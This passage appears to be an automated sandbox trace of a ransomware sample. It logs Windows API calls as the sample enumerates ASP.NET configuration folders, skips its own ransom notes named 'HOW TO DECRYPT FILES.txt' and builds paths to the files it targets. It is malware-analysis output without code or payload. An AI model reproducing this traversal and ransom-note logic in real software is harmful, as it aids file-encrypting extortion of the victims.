ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xb0d, dwReserved0=0x6c0061, dwReserved1=0x650052, cFileName="DebugAndTrace.aspx.resx", cAlternateFileName="DEBUGA~1.RES")) returned 1 [0137.047] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.047] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DebugAndTrace.aspx.resx") returned 1 [0137.047] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DebugAndTrace.aspx.resx") returned 1 [0137.047] lstrcmpiA (lpString1="", lpString2="DebugAndTrace.aspx.resx") returned -1 [0137.047] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\CreateAppSetting.aspx.resx") returned="CreateAppSetting.aspx.resx" [0137.047] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" [0137.047] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\") returned="" [0137.047] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt" [0137.047] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\app_localresources\\how to decrypt files.txt")) returned 0x20 [0137.047] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\", lpString2="DebugAndTrace.aspx.resx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\DebugAndTrace.aspx.resx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\DebugAndTrace.aspx.resx" [0137.047] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ec4d6e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x999, dwReserved0=0x6c0061, dwReserved1=0x650052, cFileName="DefineErrorPage.aspx.resx", cAlternateFileName="DEFINE~1.RES")) returned 1 [0137.047] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.047] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefineErrorPage.aspx.resx") returned 1 [0137.047] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefineErrorPage.aspx.resx") returned 1 [0137.047] lstrcmpiA (lpString1="", lpString2="DefineErrorPage.aspx.resx") returned -1 [0137.047] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\DebugAndTrace.aspx.resx") returned="DebugAndTrace.aspx.resx" [0137.047] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" [0137.048] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\") returned="" [0137.048] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt" [0137.048] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\app_localresources\\how to decrypt files.txt")) returned 0x20 [0137.048] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\", lpString2="DefineErrorPage.aspx.resx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\DefineErrorPage.aspx.resx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\DefineErrorPage.aspx.resx" [0137.048] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ec73840, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x6c0061, dwReserved1=0x650052, cFileName="EditAppSetting.aspx.resx", cAlternateFileName="EDITAP~1.RES")) returned 1 [0137.048] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.049] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="EditAppSetting.aspx.resx") returned -1 [0137.049] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="EditAppSetting.aspx.resx") returned 1 [0137.049] lstrcmpiA (lpString1="", lpString2="EditAppSetting.aspx.resx") returned -1 [0137.049] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\DefineErrorPage.aspx.resx") returned="DefineErrorPage.aspx.resx" [0137.049] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" [0137.049] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\") returned="" [0137.049] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt" [0137.049] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\app_localresources\\how to decrypt files.txt")) returned 0x20 [0137.049] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\", lpString2="EditAppSetting.aspx.resx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\EditAppSetting.aspx.resx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\EditAppSetting.aspx.resx" [0137.049] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xc19, dwReserved0=0x6c0061, dwReserved1=0x650052, cFileName="ManageAppSettings.aspx.resx", cAlternateFileName="MANAGE~1.RES")) returned 1 [0137.049] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.049] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ManageAppSettings.aspx.resx") returned -1 [0137.050] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ManageAppSettings.aspx.resx") returned -1 [0137.050] lstrcmpiA (lpString1="", lpString2="ManageAppSettings.aspx.resx") returned -1 [0137.050] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\EditAppSetting.aspx.resx") returned="EditAppSetting.aspx.resx" [0137.050] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" [0137.050] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\") returned="" [0137.050] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt" [0137.050] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\app_localresources\\how to decrypt files.txt")) returned 0x20 [0137.050] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\", lpString2="ManageAppSettings.aspx.resx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\ManageAppSettings.aspx.resx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\ManageAppSettings.aspx.resx" [0137.050] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xd17, dwReserved0=0x6c0061, dwReserved1=0x650052, cFileName="SmtpSettings.aspx.resx", cAlternateFileName="SMTPSE~1.RES")) returned 1 [0137.050] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0137.050] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SmtpSettings.aspx.resx") returned -1 [0137.050] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SmtpSettings.aspx.resx") returned -1 [0137.050] lstrcmpiA (lpString1="", lpString2="SmtpSettings.aspx.resx") returned -1 [0137.050] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\ManageAppSettings.aspx.resx") returned="ManageAppSettings.aspx.resx" [0137.050] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" [0137.050] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\") returned="" [0137.050] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt" [0137.051] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\app_localresources\\how to decrypt files.txt")) returned 0x20 [0137.051] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\", lpString2="SmtpSettings.aspx.resx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\SmtpSettings.aspx.resx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\SmtpSettings.aspx.resx" [0137.051] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xd17, dwReserved0=0x6c0061, dwReserved1=0x650052, cFileName="SmtpSettings.aspx.resx", cAlternateFileName="SMTPSE~1.RES")) returned 0 [0137.051] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0137.051] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ebb5160, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xe55, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="CreateAppSetting.aspx", cAlternateFileName="CREATE~1.ASP")) returned 1 [0137.051] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.051] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CreateAppSetting.aspx") returned 1 [0137.051] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CreateAppSetting.aspx") returned 1 [0137.051] lstrcmpiA (lpString1="", lpString2="CreateAppSetting.aspx") returned -1 [0137.051] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\*.*") returned="*.*" [0137.051] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" [0137.051] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\") returned="" [0137.051] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt" [0137.052] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\how to decrypt files.txt")) returned 0x20 [0137.052] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\", lpString2="CreateAppSetting.aspx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\CreateAppSetting.aspx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\CreateAppSetting.aspx" [0137.052] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ebdb2c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x33b3, dwReserved0=0x450044, dwReserved1=0x520043, cFileName="DebugAndTrace.aspx", cAlternateFileName="DEBUGA~1.ASP")) returned 1 [0137.052] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.052] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DebugAndTrace.aspx") returned 1 [0137.052] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DebugAndTrace.aspx") returned 1 [0137.052] lstrcmpiA (lpString1="", lpString2="DebugAndTrace.aspx") returned -1 [0137.052] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\CreateAppSetting.aspx") returned="CreateAppSetting.aspx" [0137.052] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" [0137.052] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\") returned="" [0137.052] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt" [0137.052] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\how to decrypt files.txt")) returned 0x20 [0137.052] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\", lpString2="DebugAndTrace.aspx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\DebugAndTrace.aspx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\DebugAndTrace.aspx" [0137.053] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ec4d6e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x490a, dwReserved0=0x450044, dwReserved1=0x520043, cFileName="DefineErrorPage.aspx", cAlternateFileName="DEFINE~1.ASP")) returned 1 [0137.053] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.053] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefineErrorPage.aspx") returned 1 [0137.053] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefineErrorPage.aspx") returned 1 [0137.053] lstrcmpiA (lpString1="", lpString2="DefineErrorPage.aspx") returned -1 [0137.053] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\DebugAndTrace.aspx") returned="DebugAndTrace.aspx" [0137.053] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" [0137.053] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\") returned="" [0137.053] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt" [0137.053] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\how to decrypt files.txt")) returned 0x20 [0137.053] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\", lpString2="DefineErrorPage.aspx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\DefineErrorPage.aspx") 